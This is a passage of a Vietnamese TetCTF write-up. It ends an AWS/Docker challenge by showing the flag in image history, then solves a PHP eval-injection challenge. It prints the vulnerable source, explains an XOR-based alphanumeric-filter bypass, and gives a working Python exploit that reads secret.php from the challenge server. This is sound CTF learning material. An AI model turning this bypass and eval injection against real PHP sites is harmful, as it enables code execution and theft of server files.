<missing> 7 days ago COPY TetCTF{M4sS-Sc4n_c56003d9ff654a835d0e2b3fa403f2ae} TetCTF{M4sS-Sc4n_c56003d9ff654a835d0e2b3fa403f2ae} # buildkit 0B buildkit.dockerfile.v0
<missing> 7 days ago COPY test.py test.py # buildkit 72B buildkit.dockerfile.v0
<missing> 7 days ago RUN /bin/sh -c apt-get install python3 -y # buildkit 49.1MB buildkit.dockerfile.v0
<missing> 7 days ago RUN /bin/sh -c apt-get update -y # buildkit 19.4MB buildkit.dockerfile.v0
<missing> 3 weeks ago /bin/sh -c #(nop) CMD ["bash"] 0B
<missing> 3 weeks ago /bin/sh -c #(nop) ADD file:077a3156bd8271f26498ae6ac3800e68a42b9277581bc81eea31fec1a123dca5 in / 117MB
- Flag:
TetCTF{M4sS-Sc4n_c56003d9ff654a835d0e2b3fa403f2ae}
.
4. Behind the scenes:
Tôi đã có dịp được "thanh tra" xem tác giả làm đề như thế nào và thực sự đó là một trải nghiệm cực kì thú vị!. Một số uẩn khúc trong challenge đã được tác giả giải đáp.
Tại sao sau khi run task
TetCtf2StackCtfTaskDefB40F186A:3
rồi để khoảng 1 phút thì log "bay màu"? Tôi thậm chí còn làm 1 thí nghiệm nho nhỏ ở đây để xác minh log "bay màu" là tin chuẩn. Lí do là vì ông tác giả thích thế...
- Ngoài ra thì các credentials trong log cũng là do tác giả ổng muốn thế. Ban đầu tôi tưởng đó là một tính năng ảo ma nào đó của AWS ECS khi run task =))). Tóm lại mỗi lần chạy task thì sẽ tạo ra 1 IAM user dùng để đọc flag.
MISCELLANEOUS
I. Stress Release Service:
Target: http://192.53.173.71:8080 Source: https://drive.google.com/file/d/1UKPkz8Sn0Ucv1ZhN0NRi8bk_dspBeEJJ/view?usp=sharing
1. Phân tích code:
function validateInput($input) {
// To make your shout effective, it shouldn't contain alphabets or numbers.
$pattern = '/[a-z0-9]/i';
if (preg_match($pattern, $input)) {
return false;
}
// and only a few characters. Let's make your shout clean.
$count = count(array_count_values(str_split($input)));
if ($count > 7) {
return false;
}
return true;
}
if (isset($_GET["shout"]) && !empty($_GET["shout"]) && is_string($_GET["shout"])) {
$voice = $_GET["shout"];
$res = "<center><br><br><img src=\"https://i.imgur.com/SvbbT0W.png\" width=5% /> WRONGGGGG WAYYYYYY TOOOO RELEASEEEEE STRESSSSSSSS!!!!!!</center>";
if(validateInput($voice) === true) {
eval("\$res='<center><br><br><img src=\"https://i.imgur.com/TL6siVW.png\" width=5% /> ".$voice.".</center>';");
}
if (strlen($res) < 300) {
echo $res;
} else {
echo "<center>Too loud!!! Please respect your neighbor.</center>";
}
}
Source code đã cho khá rõ ràng, dễ đọc, lại còn có cả comment code đầy đủ chi tiết nên tôi chỉ tóm gọn lại các ý chính như sau: + Tại dòng 21, biến
$voice
là một user input được truyền vào hàm eval, ghi đè lên biến$res
đã được khởi tạo từ trước ở dòng 19. + Tuy nhiên, để dòng 21 chạy được thì$voice
cần được validate ở dòng 20. Để$voice
hợp lệ thì nó không được phép chứa các kí tự số và chữ cái (lowercase hay uppercase chặn tất), tạm gọi là alphanumeric filter, trong các kí tự còn lại được sử dụng thì chỉ được phép dùng 7 kí tự khác nhau để tạo ra$voice
. + Cuối cùng, độ dài của$res
được in ra trên màn hình không được dài quá 300 kí tự (dòng 24). Tuy nhiên nếu đã in ra được flag trong hàmeval
ở dòng 21, dù là in một mình nội dung biến$FL4ggggggggggg
hay toàn bộ nội dung file chứa flag làsecret.php
thì cũng không thành vấn đề vì tổng toàn bộ filesecret.php
chỉ mới có 94 kí tự, cộng với các kí tự rác xung quanh còn dư chán.Giả sử dòng if ở dòng 20 biến mất thì tôi sẽ inject vào
$voice
payload'.readfile('secret.php').'
một phát là ăn ngay. Nhưng mà filter thế này thì bố con thằng nào ăn được? Vẫn ăn được nhé!
2. Tìm cách bypass filter:
Để vượt qua alphanumeric filter, tôi có idea là dùng PhpFuck. Đó là kĩ thuật sử dụng đúng 7 kí tự đặc biệt gồm
([+.^])
thông qua phép XOR (^
) để thực thi PHP. Vì chỉ dùng có 7 kí tự nên 1 câu lệnh được viết bằng PHPFuck có một độ dài đáng cmn sợ. Mặc dù nếu in ra được flag trong ở dòng 21 thì độ dài payload không thành vấn đề nhưng Phpfuck có 2 điểm yếu trong bài này:+ Chỉ hoạt động ở PHP 7 trở xuống, trong khi challenge này dùng PHP 8. + Vi phạm điều kiện 7 kí tự khác nhau: các kí tự tạo nên PhpFuck gồm có
([+.^])
, trong khi các kí tự đặc biệt cần có trong payload của tôi là'.()
. Hợp 2 tập hợp kí tự này với nhau ta có một tập kí tự mới là([+.^])'
gồm có 8 kí tự khác nhau.Do đó ý tưởng ném payload
'.readfile('secret.php').'
vào 1 cái tool convert PhpFuck cần được vứt vào sọt rác, thay vào đó tôi tự tạo một ngôn ngữ mới tạm gọi là AntoineFuck với những nguyên lí khá giống PhpFuck. AntoineFuck cũng sử dụng 7 kí tự khác nhau và cũng dựa trên phép XOR^
. Đầu tiên là 5 kí tự mặc định phải có trong payload'.()^
. Tiếp theo phải chọn ra 2 trong số 3 kí tự+[]
, tuy nhiên tôi đã chọn mãi mà không có cặp 2 trong 3 kí tự nào ở đây ra được payload đúng, tất cả đều bị lỗi như sau:
- Mò trong các kí tự đặc biệt còn lại ta có
\
và;
dùng được. Tóm lại các kí tự mà AntoineFuck sử dụng gồm.()'^;\
.
3. Exploit and get flag:
import itertools
import string
import requests
import re
def gen_xor_payload(payload):
# create AntoineFuck alphabets, contained in xor_alphabet dictionary
avail = """.()'^;\\"""
xor_alphabet = {}
for i in range(1, 7):
for comb in itertools.combinations(avail, i):
xor_payload = 0
for c_payload in comb:
xor_payload = xor_payload ^ ord(c_payload)
if chr(xor_payload) in string.printable:
xor_alphabet[chr(xor_payload)] = comb
# create payload by finding the couple of characters respectively between characters in the raw payload and AntoineFuck alphabets.
xor_payload = ""
for c_payload in payload:
if c_payload in xor_alphabet:
c_payload_in_xor = "("
for c_xor_alphabet in xor_alphabet[c_payload]:
if c_payload_in_xor[-1] != "(":
c_payload_in_xor += "^"
if c_xor_alphabet == "'":
c_payload_in_xor += "'\\''"
elif c_xor_alphabet == "\\":
c_payload_in_xor += "'\\\\'"
else:
c_payload_in_xor += f"'{c_xor_alphabet}'"
c_payload_in_xor += ")"
if len(xor_payload) > 0:
xor_payload += "."
xor_payload += c_payload_in_xor
return xor_payload
if __name__ == '__main__':
payload = f"'.({gen_xor_payload('readfile')})({gen_xor_payload('secret.php')}).'"
response = requests.get('http://192.53.173.71:8080/?shout='+payload)
flag = response.text[re.search("\$FL4ggggggggggg =", response.text).start():]
print(flag)
- Flag:
TetCTF{__F33ls_G0od_M4nnnnnnnnnN_(^_^)/_}
.